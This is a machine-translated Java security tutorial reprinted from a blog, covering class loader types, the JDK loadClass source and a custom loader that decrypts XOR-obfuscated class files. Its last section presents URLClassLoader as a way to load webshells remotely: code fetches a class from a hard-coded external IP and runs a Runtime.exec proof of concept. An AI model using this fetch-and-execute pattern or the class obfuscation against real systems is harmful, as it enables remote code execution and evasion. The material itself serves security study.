[Javaセキュリティ]クラスローダーClassLoader

序文

この原則を説明するために預言者コミュニティの記事から写真を借りること
ここに画像の説明を挿入
は、システム、ネットワーク、または他のソースからクラスファイルをロードするためにJava仮想マシンのメモリスペースにJavaクラスを動的にロードする責任があります。Javaソースコードはjavacコンパイラによってクラスファイルにコンパイルされ、JVMはクラスファイル内のバイトコードを実行してプログラムを実行します。

クラスローダーの概要

クラスローダーは大きく2つのカテゴリに分けられます。

  • JVMデフォルトクラスローダー
  • ユーザー定義のクラスローダー

クラスローダーの分類

  • BootstrapClassLoader:jvmの一部であり、java.lang.ClassLoaderクラスを継承せず、親ローダーもありません。主に、/ jreに格納されているコアJavaライブラリ(つまり、JVM自体)のロードを担当します。中の/lib/rt.jarディレクトリ、
  • ExtensionsClassLoader:sun.misc.Launcher $ExtClassLoaderクラスの実装。/jre/lib/extまたはjava.ext.dirsで指定されたディレクトリにJava拡張ライブラリをロードするために使用されます。
  • システムクラスローダー(AppClassLoader):sun.misc.Launcher $ AppClassLoaderによって実装されます。これは通常、Javaクラスを(java.class.pathまたはClasspath環境変数)を介してロードします。これは、クラスパスパスと呼ばれることがよくあります。通常、このロードクラスを使用してJavaアプリケーションクラスをロードします。ClassLoader.getSystemClassLoader()を使用して取得できます。
  • カスタムクラスローダー(UserDefineClassLoader):これはユーザーがカスタマイズしたクラスローダーです

ClassLoaderクラスコアメソッド

上記のブートストラップクラスローダーBootstrapClassLoaderに加えて、他のクラスローダーはCLassLoaderクラスを継承します。ClassLoaderクラス
は抽象クラスです。主な機能は、指定されたクラス名から対応するバイトコードを検索し、のjava.lang.Classインスタンスを返すことです。クラス。

loadClass:指定されたJavaクラスをロードします

nameという名前のクラスをロードすると、返される結果はjava.lang.Classクラスのインスタンスです。

loadClassのソースコードを見ることができます

    protected Class<?> loadClass(String name, boolean resolve)
        throws ClassNotFoundException
    {
    
    
        synchronized (getClassLoadingLock(name)) {
    
    
            // First, check if the class has already been loaded
            Class<?> c = findLoadedClass(name);
            if (c == null) {
    
    
                long t0 = System.nanoTime();
                try {
    
    
                    if (parent != null) {
    
    
                        c = parent.loadClass(name, false);
                    } else {
    
    
                        c = findBootstrapClassOrNull(name);
                    }
                } catch (ClassNotFoundException e) {
    
    
                    // ClassNotFoundException thrown if class not found
                    // from the non-null parent class loader
                }

                if (c == null) {
    
    
                    // If still not found, then invoke findClass in order
                    // to find the class.
                    long t1 = System.nanoTime();
                    c = findClass(name);

                    // this is the defining class loader; record the stats
                    sun.misc.PerfCounter.getParentDelegationTime().addTime(t1 - t0);
                    sun.misc.PerfCounter.getFindClassTime().addElapsedTimeFrom(t1);
                    sun.misc.PerfCounter.getFindClasses().increment();
                }
            }
            if (resolve) {
    
    
                resolveClass(c);
            }
            return c;
        }
    }

最初にfindLoadedClassを実行して、クラスがロードされているかどうかを確認します。ロードされている場合は直接戻ります。ロードされていない場合は、ローダーの親クラスのローダーを使用してロードします。親クラスがない場合は、独自のfindClassメソッドが呼び出されるため、findClassメソッドを書き直して、クラスのロードに関するいくつかの特別な要件を満たすことができます。

findCLass:指定されたJavaクラスを検索します

protected Class<?> findClass(String name) throws ClassNotFoundException {
    
    
        throw new ClassNotFoundException(name);
    }

findLoadedClass:JVMによってロードされたクラスを検索します

protected final Class<?> findLoadedClass(String name) {
    
    
        if (!checkName(name))
            return null;
        return findLoadedClass0(name);
    }

defineClass:バイトコードを仮想マシンによって認識されるClassオブジェクトに解析するJavaクラスを定義します。多くの場合、findClass()メソッドと組み合わせて使用​​されます

protected final Class<?> defineClass(byte[] b, int off, int len)
        throws ClassFormatError
    {
    
    
        return defineClass(null, b, off, len, null);
    }

resolveClass:リンクはJavaクラスを指定します

protected final void resolveClass(Class<?> c) {
    
    
        resolveClass0(c);
    }

    private native void resolveClass0(Class c);

カスタムクラスローダー

したがって、クラスローダーをカスタマイズする場合は、次の手順を実行する必要があります。

  1. ClassLoaderクラスを継承します
  2. fandClassメソッドをオーバーロードします
  3. defineClassメソッドを使用してバイトコードをjava.lang.classクラスオブジェクトに変換します

ここに画像の説明を挿入
ここに画像の説明を挿入
コードサンプル
messageTest

public class messageTest {
    public static void main(String[] args){
        System.out.println("This is the secret!");
    }
}

クラスファイルを暗号化するクラス
encodeTest

import java.io.*;

public class encodeTest {
    
    
    public static void main(String[] args) throws IOException {
    
    
        encode(
              new File("../out/production/Classloader/messageTest.class"),
              new File("../out/production/Classloader/test/messageTest.class")
        );
    }
    public static void encode(File src, File out) throws IOException {
    
    
        FileInputStream fin;
        FileOutputStream fout;

        fin = new FileInputStream(src);
        fout = new FileOutputStream(out);

        int temp = -1;
        while ((temp = fin.read()) != -1) {
    
    // 读取一个字节
            fout.write(temp ^ 0xff);// 取反输出
        }
        fin.close();
        fout.close();
    }
}

次に、復号化クラスを記述し、findclassメソッドを書き直します

import java.io.ByteArrayOutputStream;
import java.io.FileInputStream;
import java.io.IOException;
import java.io.InputStream;

public class decodeTest extends ClassLoader{
    
    
    private String rootDir;

    public decodeTest(String rootDir) {
    
    
        this.rootDir = rootDir;
    }
    
    // 解密文件
    public byte[] getClassData(String className) throws IOException {
    
    
        String path = rootDir + "/" + className.replace('.', '/') + ".class";
        // 将流中的数据转换为字节数组
        InputStream is = null;
        ByteArrayOutputStream baos = new ByteArrayOutputStream();
        is = new FileInputStream(path);
        byte[] buffer = new byte[1024];
        int temp = -1;
        while ((temp = is.read()) != -1) {
    
    
            baos.write(temp ^ 0xff);
        }
        return baos.toByteArray();
    }

    @Override // 重写覆盖findClass
    protected Class<?> findClass(String className) throws ClassNotFoundException {
    
    
        Class<?> c = findLoadedClass(className);
        if (c != null) {
    
    
            return c;
        } else {
    
    
            ClassLoader parent = this.getParent();

            c = parent.loadClass(className);
            if (c != null) {
    
    
                System.out.println("父类成功加载");
                return c;
            } else {
    
    // 读取文件 转化成字节数组
                byte[] classData = new byte[0];
                try {
    
    
                    classData = getClassData(className);
                } catch (IOException e) {
    
    
                    e.printStackTrace();
                }
                if (classData == null) {
    
    
                    throw new ClassNotFoundException();
                } else {
    
     // 调用defineClass()方法
                    c = defineClass(className, classData, 0, classData.length);
                    return c;
                }
            }
        }
    }
}

テストクラスを書き直します

public class loadClassTest {
    
    
    public static void main(String[] args) throws ClassNotFoundException {
    
    
        decodeTest de = new decodeTest("/Users/liucheng/Desktop/JavaSec/out/production/Classloader/test/");
        Class<?> a = de.loadClass("messageTest");
        System.out.println(a);

    }

}

指定したクラスファイルは暗号化されたクラスファイルであるため、javaに付属のクラスローダーをロードできません。ここでは、カスタムクラスローダーを使用して復号化し、me​​ssageTestにロードします。
ここに画像の説明を挿入

URLClassLoader

URLClassLoaderはClassLoaderの実装であり、リモートサーバーにクラスをロードする機能があります。このURLClassLoaderを使用すると、一部のWebシェルのリモートロードを実現できます。


これは、Tomcatサーバーでシステムコマンドを実行するクラスを生成する例です。

public class Test {
    
    
    public static void main(String[] args){
    
    
        try{
    
    
            Runtime.getRuntime().exec("/System/Applications/Calculator.app/Contents/MacOS/Calculator");
        } 
        catch(Exception e) {
    
    
            e.printStackTrace();
        }
    }

}

ここに画像の説明を挿入
次に、このクラスをプロジェクトにリモートでロードします

import java.net.MalformedURLException;
import java.net.URL;
import java.net.URLClassLoader;

public class URLClassLoaderTest {
    
    
    public static void main(String[] args) throws MalformedURLException, ClassNotFoundException, InstantiationException, IllegalAccessException {
    
    
        URL url = new URL("http://101.35.98.118:12424/javatest/");
        URLClassLoader cl = new URLClassLoader(new URL[]{
    
    url});
        Class c = cl.loadClass("Test");
        c.newInstance();
    }
}

おすすめ

転載: blog.csdn.net/m0_51078229/article/details/123359096